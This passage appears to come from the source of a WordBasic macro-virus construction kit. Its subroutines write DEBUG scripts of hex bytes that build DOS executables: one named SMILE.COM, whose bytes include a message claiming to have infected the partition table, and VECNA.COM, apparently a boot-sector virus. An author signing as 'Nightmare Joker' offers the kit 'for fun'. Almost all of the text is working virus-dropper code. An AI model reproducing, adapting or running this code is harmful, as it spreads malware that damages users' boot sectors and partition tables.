  6714. Einfügen "Print #1," + Chr$(34) + "E 1330 4F 36 49 B2 CC D6 6C 93 33 21 93 6C C8 9B B1 25" + Chr$(34)
  6715. EinfügenAbsatz
  6716. Einfügen "Print #1," + Chr$(34) + "E 1340 B3 66 03 ED 8C 9A 88 9B F6 44 FF EC 89 13 3F CC" + Chr$(34)
  6717. EinfügenAbsatz
  6718. Einfügen "Print #1," + Chr$(34) + "E 1350 99 BF 90 13 FE 40 4F FC 04 FF 80 3F F0 07 FF 13" + Chr$(34)
  6719. EinfügenAbsatz
  6720. Einfügen "Print #1," + Chr$(34) + "E 1360 77 E9 13 33 22 37 78 02 6E C9 3F DC 8B E6 62 7F" + Chr$(34)
  6721. EinfügenAbsatz
  6722. Einfügen "Print #1," + Chr$(34) + "E 1370 8C 66 F3 C9 9B D8 07 F3 13 7C CC 89 BE 03 F6 73" + Chr$(34)
  6723. EinfügenAbsatz
  6724. Einfügen "Print #1," + Chr$(34) + "E 1380 33 26 64 DB 60 3B 3E 44 9B C8 9F EC C9 B2 64 49" + Chr$(34)
  6725. EinfügenAbsatz
  6726. Einfügen "Print #1," + Chr$(34) + "E 1390 33 13 99 8C 9B 31 13 EC 83 7F F1 03 FC CD DE 19" + Chr$(34)
  6727. EinfügenAbsatz
  6728. Einfügen "Print #1," + Chr$(34) + "E 13A0 99 FF 91 3E 03 66 4C D9 1F CC 1F 99 BF 70 3F B1" + Chr$(34)
  6729. EinfügenAbsatz
  6730. Einfügen "Print #1," + Chr$(34) + "E 13B0 BB CC 4C 77 70 1D C4 1B F3 26 CC C7 33 36 4C 9D" + Chr$(34)
  6731. EinfügenAbsatz
  6732. Einfügen "Print #1," + Chr$(34) + "E 13C0 E6 4D D9 90 3F E4 4F 64 B2 64 CD 8F EC 19 93 78" + Chr$(34)
  6733. EinfügenAbsatz
  6734. Einfügen "Print #1," + Chr$(34) + "E 13D0 81 F8 03 FC 92 DC 84 D8 9D D9 B7 33 23 93 CD 24" + Chr$(34)
  6735. EinfügenAbsatz
  6736. Einfügen "Print #1," + Chr$(34) + "E 13E0 D8 19 9B 32 65 93 93 26 C4 69 32 47 C7 1C D8 73" + Chr$(34)
  6737. EinfügenAbsatz
  6738. Einfügen "Print #1," + Chr$(34) + "E 13F0 30 CD B3 26 D8 3C B3 61 E6 6D 93 6E 26 79 30 E3" + Chr$(34)
  6739. EinfügenAbsatz
  6740. Einfügen "Print #1," + Chr$(34) + "E 1400 40 CC C6 07 0E 6C 4C B8 F0 C3 EF 86 73 37 89 0F" + Chr$(34)
  6741. EinfügenAbsatz
  6742. Einfügen "Print #1," + Chr$(34) + "E 1410 B8 26 6C 0C 19 CC 68 F3 61 93 C7 27 98 36 7D 31" + Chr$(34)
  6743. EinfügenAbsatz
  6744. Einfügen "Print #1," + Chr$(34) + "E 1420 F3 B3 66 CD CC 9B 36 7E 59 3C D9 66 C3 27 83 4F" + Chr$(34)
  6745. EinfügenAbsatz
  6746. Einfügen "Print #1," + Chr$(34) + "E 1430 07 9C 26 79 30 70 D9 E1 9F E3 13 0C 96 43 36 4D" + Chr$(34)
  6747. EinfügenAbsatz
  6748. Einfügen "Print #1," + Chr$(34) + "E 1440 BC 99 3C FA 6C 9B 6C 3D C8 86 4F 2E C0 DD 03 FF" + Chr$(34)
  6749. EinfügenAbsatz
  6750. Einfügen "Print #1," + Chr$(34) + "E 1450 11 F0 FF F0 3E 0D FE 13 B2 DF 80 CC 27 D1 2C 99" + Chr$(34)
  6751. EinfügenAbsatz
  6752. Einfügen "Print #1," + Chr$(34) + "E 1460 E1 B4 1D E1 3C 3F C2 78 3F 01 F8 BC 0F 71 74 1B" + Chr$(34)
  6753. EinfügenAbsatz
  6754. Einfügen "Print #1," + Chr$(34) + "E 1470 07 33 CC 73 1E E6 3B 85 F1 3C 07 91 EC CE C3 B8" + Chr$(34)
  6755. EinfügenAbsatz
  6756. Einfügen "Print #1," + Chr$(34) + "E 1480 DE 03 89 F2 3C 8C 63 E4 F1 9F 17 44 D8 F9 0F 11" + Chr$(34)
  6757. EinfügenAbsatz
  6758. Einfügen "Print #1," + Chr$(34) + "E 1490 86 C7 41 7E 3F 07 D8 FE 1F E3 E8 3B 8F E2 FE 37" + Chr$(34)
  6759. EinfügenAbsatz
  6760. Einfügen "Print #1," + Chr$(34) + "E 14A0 87 F1 BC 65 C7 39 87 C6 70 9F 1F C3 F8 9E 47 F9" + Chr$(34)
  6761. EinfügenAbsatz
  6762. Einfügen "Print #1," + Chr$(34) + "E 14B0 C7 91 F0 F8 0F 67 CC 13 8D C3 38 8F 81 FC 07 A7" + Chr$(34)
  6763. EinfügenAbsatz
  6764. Einfügen "Print #1," + Chr$(34) + "E 14C0 F1 3D 8C E1 9C 03 88 72 1E 31 CC F0 76 30 C3 1E" + Chr$(34)
  6765. EinfügenAbsatz
  6766. Einfügen "Print #1," + Chr$(34) + "E 14D0 47 C0 79 17 01 F8 C6 30 EC 31 9C F1 0C 8F 82 78" + Chr$(34)
  6767. EinfügenAbsatz
  6768. Einfügen "Print #1," + Chr$(34) + "E 14E0 FE 0F E2 B8 FB 13 D9 FD 27 9B 62 2D 90 CC 37 9B" + Chr$(34)
  6769. EinfügenAbsatz
  6770. Einfügen "Print #1," + Chr$(34) + "E 14F0 71 9F 27 61 F2 BB 06 F4 C3 3C 66 D9 83 26 33 81" + Chr$(34)
  6771. EinfügenAbsatz
  6772. Einfügen "Print #1," + Chr$(34) + "E 1500 C4 C6 0C E0 C6 7D 64 93 C9 35 9F 63 3C 1B 61 BC" + Chr$(34)
  6773. EinfügenAbsatz
  6774. Einfügen "Print #1," + Chr$(34) + "E 1510 8E 37 80 F1 CC C6 6D 82 19 E5 98 79 93 31 8C 99" + Chr$(34)
  6775. EinfügenAbsatz
  6776. Einfügen "Print #1," + Chr$(34) + "E 1520 24 C2 73 18 C6 79 27 98 F3 37 13 C6 7E 19 C9 EC" + Chr$(34)
  6777. EinfügenAbsatz
  6778. Einfügen "Print #1," + Chr$(34) + "E 1530 F7 19 C4 78 8D 24 F3 2E 31 98 F2 0C C3 C7 3D 8F" + Chr$(34)
  6779. EinfügenAbsatz
  6780. Einfügen "Print #1," + Chr$(34) + "E 1540 88 D9 8E 67 38 CD 81 90 19 87 B9 9C 3F 98 CA 3B" + Chr$(34)
  6781. EinfügenAbsatz
  6782. Einfügen "Print #1," + Chr$(34) + "E 1550 87 37 89 E6 7A 6C DC 3D B8 CE 66 3E 66 1F 8E 99" + Chr$(34)
  6783. EinfügenAbsatz
  6784. Einfügen "Print #1," + Chr$(34) + "E 1560 E7 D3 CE E1 E7 97 69 F6 C7 F1 F9 8F C3 F6 9F 93" + Chr$(34)
  6785. EinfügenAbsatz
  6786. Einfügen "Print #1," + Chr$(34) + "E 1570 DF 8E D1 FB 8F E3 9D 9F 63 CF 19 C7 18 7E 8F E6" + Chr$(34)
  6787. EinfügenAbsatz
  6788. Einfügen "Print #1," + Chr$(34) + "E 1580 78 9E 71 DA 3F C7 F0 ED 8E 83 9F 39 E6 78 EE 3F" + Chr$(34)
  6789. EinfügenAbsatz
  6790. Einfügen "Print #1," + Chr$(34) + "E 1590 E3 98 E7 8E 73 1E 73 8C F9 E6 75 E3 9C FB 8C E3" + Chr$(34)
  6791. EinfügenAbsatz
  6792. Einfügen "Print #1," + Chr$(34) + "E 15A0 BC 77 98 F1 1A 60 CE 61 87 3D C7 9F 39 67 BC 67" + Chr$(34)
  6793. EinfügenAbsatz
  6794. Einfügen "Print #1," + Chr$(34) + "E 15B0 18 F1 F8 73 38 E6 06 E3 BC 73 CC 7C 1F 8D C1 D6" + Chr$(34)
  6795. EinfügenAbsatz
  6796. Einfügen "Print #1," + Chr$(34) + "E 15C0 73 C6 77 87 31 8E 3C C7 30 73 1C E3 9C 71 8C 71" + Chr$(34)
  6797. EinfügenAbsatz
  6798. Einfügen "Print #1," + Chr$(34) + "E 15D0 C6 18 C6 38 73 1A 21 CD CC 83 33 1F 0C CE 3C 33" + Chr$(34)
  6799. EinfügenAbsatz
  6800. Einfügen "Print #1," + Chr$(34) + "E 15E0 98 31 CE 63 C7 33 8C CD 8E 3C 33 98 E0 E4 E3 99" + Chr$(34)
  6801. EinfügenAbsatz
  6802. Einfügen "Print #1," + Chr$(34) + "E 15F0 31 C6 C6 E3 33 8F 0E 86 36 76 38 98 FC 63 E3 B9" + Chr$(34)
  6803. EinfügenAbsatz
  6804. Einfügen "Print #1," + Chr$(34) + "E 1600 CF 8F C6 67 33 8E 9C 9F 1C E0 71 B3 8C E4 CC 27" + Chr$(34)
  6805. EinfügenAbsatz
  6806. Einfügen "Print #1," + Chr$(34) + "E 1610 47 71 9C 64 E4 E1 A3 89 CC 9E 67 31 73 0C C1 CC" + Chr$(34)
  6807. EinfügenAbsatz
  6808. Einfügen "Print #1," + Chr$(34) + "E 1620 C7 8B CC CC 33 A3 1A 38 CC E1 C6 1B D3 78 FF 2E" + Chr$(34)
  6809. EinfügenAbsatz
  6810. Einfügen "Print #1," + Chr$(34) + "E 1630 E1 EF 1F 87 5C 6F 1B 93 9C 72 E5 93 8E 31 CC 67" + Chr$(34)
  6811. EinfügenAbsatz
  6812. Einfügen "Print #1," + Chr$(34) + "E 1640 8E 39 9C 98 EC 1C 83 B3 71 C6 20 EE 35 0F 1D F1" + Chr$(34)
  6813. EinfügenAbsatz
  6814. Einfügen "Print #1," + Chr$(34) + "E 1650 78 F7 3E 35 19 9E 30 0B 99 36 0F 1C E6 1C F1 DC" + Chr$(34)
  6815. EinfügenAbsatz
  6816. Einfügen "Print #1," + Chr$(34) + "E 1660 F1 CE E1 AF 1B 86 66 67 18 F9 DC 66 CC F3 33 33" + Chr$(34)
  6817. EinfügenAbsatz
  6818. Einfügen "Print #1," + Chr$(34) + "E 1670 8C CC A6 33 67 39 99 93 67 68 CE 79 CC 63 CC 7B" + Chr$(34)
  6819. EinfügenAbsatz
  6820. Einfügen "Print #1," + Chr$(34) + "E 1680 3C 19 26 33 62 DA 7B 16 46 1C DB 2C 93 4C C0 E3" + Chr$(34)
  6821. EinfügenAbsatz
  6822. Einfügen "Print #1," + Chr$(34) + "E 1690 C8 31 CD A4 DB 9A 66 17 36 4E 3C DA 64 D8 D2 64" + Chr$(34)
  6823. EinfügenAbsatz
  6824. Einfügen "Print #1," + Chr$(34) + "E 16A0 F1 E4 E7 C9 A7 39 8C 36 0F CE 33 2F 23 88 C9 99" + Chr$(34)
  6825. EinfügenAbsatz
  6826. Einfügen "Print #1," + Chr$(34) + "E 16B0 23 8C 73 86 3A 73 66 78 EC CC 99 A3 78 C6 33 98" + Chr$(34)
  6827. EinfügenAbsatz
  6828. Einfügen "Print #1," + Chr$(34) + "E 16C0 36 CC E1 93 65 C9 33 0D C1 B2 3E 4D C3 34 CF CA" + Chr$(34)
  6829. EinfügenAbsatz
  6830. Einfügen "Print #1," + Chr$(34) + "E 16D0 CC 78 C1 8E 6C D1 E3 1C 61 93 13 98 38 E3 8E 5C" + Chr$(34)
  6831. EinfügenAbsatz
  6832. Einfügen "Print #1," + Chr$(34) + "E 16E0 F0 C7 1E 30 F1 CF 19 6C 9D 6D C7 9B 1C 61 9B 27" + Chr$(34)
  6833. EinfügenAbsatz
  6834. Einfügen "Print #1," + Chr$(34) + "E 16F0 1C F1 CD 1E 18 E2 C7 1C 31 E1 86 38 E5 9A 6C 61" + Chr$(34)
  6835. EinfügenAbsatz
  6836. Einfügen "Print #1," + Chr$(34) + "E 1700 CF 3E 38 E7 0E 7C C8 36 4C E3 9C 38 E3 8F 0C 68" + Chr$(34)
  6837. EinfügenAbsatz
  6838. Einfügen "Print #1," + Chr$(34) + "E 1710 E7 1C B3 67 3C F9 E3 87 1C 78 E3 06 18 73 8B 38" + Chr$(34)
  6839. EinfügenAbsatz
  6840. Einfügen "Print #1," + Chr$(34) + "E 1720 38 C7 86 38 73 C7 3C 99 CC DE 6C F1 C3 1E 3C 31" + Chr$(34)
  6841. EinfügenAbsatz
  6842. Einfügen "Print #1," + Chr$(34) + "E 1730 C7 8E 18 70 E3 86 73 33 9B 1C 71 CD 86 78 F2 63" + Chr$(34)
  6843. EinfügenAbsatz
  6844. Einfügen "Print #1," + Chr$(34) + "E 1740 8F 1E 71 9A 2C F9 E7 96 7C 71 F1 9E 19 62 CE 5C" + Chr$(34)
  6845. EinfügenAbsatz
  6846. Einfügen "Print #1," + Chr$(34) + "E 1750 B3 E7 8F 38 E3 A6 0C 20 C7 30 69 93 19 9C 6C CC" + Chr$(34)
  6847. EinfügenAbsatz
  6848. Einfügen "Print #1," + Chr$(34) + "E 1760 1C 33 27 C6 99 B0 E0 FC D8 67 1E 47 CD 83 01 CC" + Chr$(34)
  6849. EinfügenAbsatz
  6850. Einfügen "Print #1," + Chr$(34) + "E 1770 D9 91 72 3C 3E 7D 3C 1F 1E 4C 9E 16 6C D9 19 B0" + Chr$(34)
  6851. EinfügenAbsatz
  6852. Einfügen "Print #1," + Chr$(34) + "E 1780 CC 9E 37 89 8C DC 68 E2 CC 69 F1 CC C9 E3 CC C9" + Chr$(34)
  6853. EinfügenAbsatz
  6854. Einfügen "Print #1," + Chr$(34) + "E 1790 E3 8C CB C3 9C CF C7 1C C7 C3 8C C7 C3 9C C7 E7" + Chr$(34)
  6855. EinfügenAbsatz
  6856. Einfügen "Print #1," + Chr$(34) + "E 17A0 8C C7 C3 9C CF CE 79 9F 26 39 99 8E 79 99 9C F1" + Chr$(34)
  6857. EinfügenAbsatz
  6858. Einfügen "Print #1," + Chr$(34) + "E 17B0 91 8C F1 B3 99 F1 B2 CC D1 83 99 E3 26 D9 CD 97" + Chr$(34)
  6859. EinfügenAbsatz
  6860. Einfügen "Print #1," + Chr$(34) + "E 17C0 1C C6 67 3B 19 32 4D 99 2E 79 8C 27 31 8C 33 32" + Chr$(34)
  6861. EinfügenAbsatz
  6862. Einfügen "Print #1," + Chr$(34) + "E 17D0 66 4C 73 C6 0C 63 9C 63 66 93 F8 CD 9C 77 8E 9C" + Chr$(34)
  6863. EinfügenAbsatz
  6864. Einfügen "Print #1," + Chr$(34) + "E 17E0 7E 4C 0C 6E 4D 98 EC C6 38 66 66 78 DC F3 4C CE" + Chr$(34)
  6865. EinfügenAbsatz
  6866. Einfügen "Print #1," + Chr$(34) + "E 17F0 64 98 C6 31 99 98 3C DF 1C BD 37 19 C6 0F 3C 72" + Chr$(34)
  6867. EinfügenAbsatz
  6868. Einfügen "Print #1," + Chr$(34) + "E 1800 0E 19 33 CF 32 E3 13 24 43 DF 66 C7 5C 66 83 04" + Chr$(34)
  6869. EinfügenAbsatz
  6870. Einfügen "Print #1," + Chr$(34) + "E 1810 64 73 7E EC D6 30 6C 4D BF CC 06 7C FD 98 20 FF" + Chr$(34)
  6871. EinfügenAbsatz
  6872. Einfügen "Print #1," + Chr$(34) + "E 1820 88 4E F3 80 7F F0 3B FF 00 3F FC 0F FB C0 1F FE" + Chr$(34)
  6873. EinfügenAbsatz
  6874. Einfügen "Print #1," + Chr$(34) + "E 1830 03 FF C0 1F FE 03 FF C0 3F FC 0F 7F 00 7F F0 03" + Chr$(34)
  6875. EinfügenAbsatz
  6876. Einfügen "Print #1," + Chr$(34) + "E 1840 10 07 FF F0 20 0F FB FF FF FF FF FF FF FF FF FF" + Chr$(34)
  6877. EinfügenAbsatz
  6878. Einfügen "Print #1," + Chr$(34) + "E 1850 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF" + Chr$(34)
  6879. EinfügenAbsatz
  6880. Einfügen "Print #1," + Chr$(34) + "E 1860 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF" + Chr$(34)
  6881. EinfügenAbsatz
  6882. Einfügen "Print #1," + Chr$(34) + "E 1870 FF FF FF FF FF FF 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6883. EinfügenAbsatz
  6884. Einfügen "Print #1," + Chr$(34) + "E 1880 4D 5A 73 00 01 00 00 00 00 00 80 00 FF FF 08 00" + Chr$(34)
  6885. EinfügenAbsatz
  6886. Einfügen "Print #1," + Chr$(34) + "E 1890 FE 07 00 00 1C 00 00 00 1C 00 00 00 B4 09 0E 1F" + Chr$(34)
  6887. EinfügenAbsatz
  6888. Einfügen "Print #1," + Chr$(34) + "E 18A0 BA 2A 00 CD 21 B8 00 4C CD 21 0D 0A 57 41 52 4E" + Chr$(34)
  6889. EinfügenAbsatz
  6890. Einfügen "Print #1," + Chr$(34) + "E 18B0 49 4E 47 3A 0D 0A 0D 0A 53 6D 69 6C 65 20 76 69" + Chr$(34)
  6891. EinfügenAbsatz
  6892. Einfügen "Print #1," + Chr$(34) + "E 18C0 72 75 73 20 68 61 73 20 6E 6F 77 20 69 6E 66 65" + Chr$(34)
  6893. EinfügenAbsatz
  6894. Einfügen "Print #1," + Chr$(34) + "E 18D0 63 74 65 64 20 74 68 65 20 70 61 72 74 69 74 69" + Chr$(34)
  6895. EinfügenAbsatz
  6896. Einfügen "Print #1," + Chr$(34) + "E 18E0 6F 6E 20 74 61 62 6C 65 20 21 21 21 21 21 0D 0A" + Chr$(34)
  6897. EinfügenAbsatz
  6898. Einfügen "Print #1," + Chr$(34) + "E 18F0 0D 0A 24" + Chr$(34)
  6899. EinfügenAbsatz
  6900. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  6901. EinfügenAbsatz
  6902. Einfügen "Print #1," + Chr$(34) + "17F3" + Chr$(34)
  6903. EinfügenAbsatz
  6904. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  6905. EinfügenAbsatz
  6906. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  6907. EinfügenAbsatz
  6908. Einfügen "Close #1"
  6909. EinfügenAbsatz
  6910. Einfügen "c$ = " + Chr$(34) + "SMILE.COM" + Chr$(34)
  6911. Finished
  6912. End Sub
  6913.  
  6914. Sub Vecna
  6915. Install
  6916. Einfügen "Print #1," + Chr$(34) + "N VECNA.COM" + Chr$(34)
  6917. EinfügenAbsatz
  6918. Einfügen "Print #1," + Chr$(34) + "E 0100 FA EB 1F 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6919. EinfügenAbsatz
  6920. Einfügen "Print #1," + Chr$(34) + "E 0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  6921. EinfügenAbsatz
  6922. Einfügen "Print #1," + Chr$(34) + "E 0120 00 00 2E 81 3E 00 00 CD 20 75 7E FB FF 36 35 01" + Chr$(34)
  6923. EinfügenAbsatz
  6924. Einfügen "Print #1," + Chr$(34) + "E 0130 C6 06 36 01 00 EB 15 BE EB 02 B9 12 00 C6 06 A6" + Chr$(34)
  6925. EinfügenAbsatz
  6926. Einfügen "Print #1," + Chr$(34) + "E 0140 01 C3 33 C0 2E CD 10 E8 52 00 E2 FE 8F 06 35 01" + Chr$(34)
  6927. EinfügenAbsatz
  6928. Einfügen "Print #1," + Chr$(34) + "E 0150 C6 06 A6 01 2E B4 FF 32 DB 2E CD 13 B8 02 FA BA" + Chr$(34)
  6929. EinfügenAbsatz
  6930. Einfügen "Print #1," + Chr$(34) + "E 0160 45 59 CD 16 B4 19 CD 13 80 FC F0 74 29 B8 01 02" + Chr$(34)
  6931. EinfügenAbsatz
  6932. Einfügen "Print #1," + Chr$(34) + "E 0170 BB 00 03 B1 01 51 BA 80 00 CD 13 26 81 BF EB 01" + Chr$(34)
  6933. EinfügenAbsatz
  6934. Einfügen "Print #1," + Chr$(34) + "E 0180 75 03 74 12 E8 46 01 B8 01 03 50 B1 05 CD 13 58" + Chr$(34)
  6935. EinfügenAbsatz
  6936. Einfügen "Print #1," + Chr$(34) + "E 0190 59 BB 00 01 CD 13 BE DB 02 B9 10 00 AC 34 55 2E" + Chr$(34)
  6937. EinfügenAbsatz
  6938. Einfügen "Print #1," + Chr$(34) + "E 01A0 CD 29 E2 F8 B4 4C 2E CD 21 BE 00 7C 33 C0 8E C0" + Chr$(34)
  6939. EinfügenAbsatz
  6940. Einfügen "Print #1," + Chr$(34) + "E 01B0 B1 06 8E D0 8B E6 FB 8E D8 FF 0E 13 04 CD 12 D3" + Chr$(34)
  6941. EinfügenAbsatz
  6942. Einfügen "Print #1," + Chr$(34) + "E 01C0 E0 33 FF B9 00 01 8E C0 F3 A5 A1 4C 00 26 A3 C2" + Chr$(34)
  6943. EinfügenAbsatz
  6944. Einfügen "Print #1," + Chr$(34) + "E 01D0 01 A1 4E 00 26 A3 C4 01 C7 06 4C 00 FB 00 8C 06" + Chr$(34)
  6945. EinfügenAbsatz
  6946. Einfügen "Print #1," + Chr$(34) + "E 01E0 4E 00 CD 19 B9 05 00 B8 01 02 80 FA 80 73 04 B1" + Chr$(34)
  6947. EinfügenAbsatz
  6948. Einfügen "Print #1," + Chr$(34) + "E 01F0 0E B6 01 E8 D0 00 E8 D4 00 EB 76 80 FC 19 74 1C" + Chr$(34)
  6949. EinfügenAbsatz
  6950. Einfügen "Print #1," + Chr$(34) + "E 0200 80 FC 02 72 78 80 FC 03 77 73 83 F9 01 75 6E 80" + Chr$(34)
  6951. EinfügenAbsatz
  6952. Einfügen "Print #1," + Chr$(34) + "E 0210 FE 00 75 69 E8 AF 00 73 06 E9 A5 00 B4 F0 CF 9C" + Chr$(34)
  6953. EinfügenAbsatz
  6954. Einfügen "Print #1," + Chr$(34) + "E 0220 50 53 51 52 56 57 06 1E 26 81 BF EB 01 75 03 74" + Chr$(34)
  6955. EinfügenAbsatz
  6956. Einfügen "Print #1," + Chr$(34) + "E 0230 B3 80 FA 80 72 07 B9 05 00 32 F6 EB 04 B1 0E B6" + Chr$(34)
  6957. EinfügenAbsatz
  6958. Einfügen "Print #1," + Chr$(34) + "E 0240 01 E8 89 00 B8 01 03 E8 7C 00 E8 80 00 72 22 06" + Chr$(34)
  6959. EinfügenAbsatz
  6960. Einfügen "Print #1," + Chr$(34) + "E 0250 1F 0E 07 89 DE 83 C6 03 BF 03 00 B9 1F 00 F3 A4" + Chr$(34)
  6961. EinfügenAbsatz
  6962. Einfügen "Print #1," + Chr$(34) + "E 0260 0E 0E 07 1F 33 DB B8 01 03 B9 01 00 32 F6 E8 55" + Chr$(34)
  6963. EinfügenAbsatz
  6964. Einfügen "Print #1," + Chr$(34) + "E 0270 00 1F 07 5F 5E 5A 59 5B 58 9D CA 02 00 83 F9 05" + Chr$(34)
  6965. EinfügenAbsatz
  6966. Einfügen "Print #1," + Chr$(34) + "E 0280 75 0F 80 FE 00 75 0A 80 FA 80 72 05 B9 0B 00 EB" + Chr$(34)
  6967. EinfügenAbsatz
  6968. Einfügen "Print #1," + Chr$(34) + "E 0290 30 80 FC 03 75 2B 50 26 8B 07 02 C4 3C A7 58 75" + Chr$(34)
  6969. EinfügenAbsatz
  6970. Einfügen "Print #1," + Chr$(34) + "E 02A0 20 26 81 7F 04 80 00 76 18 80 FA 80 73 13 1E 51" + Chr$(34)
  6971. EinfügenAbsatz
  6972. Einfügen "Print #1," + Chr$(34) + "E 02B0 57 56 0E 1F 33 F6 89 DF B9 00 02 F3 A4 5E 5F 59" + Chr$(34)
  6973. EinfügenAbsatz
  6974. Einfügen "Print #1," + Chr$(34) + "E 02C0 1F EA 00 00 00 00 9C 2E FF 1E C2 01 C3 53 51 B9" + Chr$(34)
  6975. EinfügenAbsatz
  6976. Einfügen "Print #1," + Chr$(34) + "E 02D0 00 02 26 30 0F 43 E2 FA 59 5B C3 1A 20 21 75 3A" + Chr$(34)
  6977. EinfügenAbsatz
  6978. Einfügen "Print #1," + Chr$(34) + "E 02E0 33 75 38 30 38 3A 27 2C 7B 5F 58 75 03 30 36 3B" + Chr$(34)
  6979. EinfügenAbsatz
  6980. Einfügen "Print #1," + Chr$(34) + "E 02F0 34 75 19 3C 23 30 75 7B 7B 7B 5F 58 52 90 55 AA" + Chr$(34)
  6981. EinfügenAbsatz
  6982. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  6983. EinfügenAbsatz
  6984. Einfügen "Print #1," + Chr$(34) + "0200" + Chr$(34)
  6985. EinfügenAbsatz
  6986. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  6987. EinfügenAbsatz
  6988. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  6989. EinfügenAbsatz
  6990. Einfügen "Close #1"
  6991. EinfügenAbsatz
  6992. Einfügen "c$ = " + Chr$(34) + "VECNA.COM" + Chr$(34)
  6993. Finished
  6994. End Sub
  6995.  
  6996. Sub MError
  6997. Begin Dialog BenutzerDialog 380, 122, " "
  6998.     OKButton 111, 79, 148, 21
  6999.     Text 105, 45, 159, 13, "PLEASE TRY AGAIN", .Text2
  7000.     Text 146, 15, 76, 13, "ERROR!!!", .Text1
  7001. End Dialog
  7002. Redim Message As BenutzerDialog
  7003. u = Dialog(Message)
  7004. End Sub
  7005.  
  7006. *****************************************************************************
  7007.                        END OF MACRO VIREN
  7008. *****************************************************************************
  7009.  
  7010. OK, that's it!
  7011.  
  7012. I hope you have fun with the kit and the source code.
  7013.  
  7014. Maybe I see a new kit, soon. ;-))
  7015.  
  7016. -Nightmare Joker
  7017.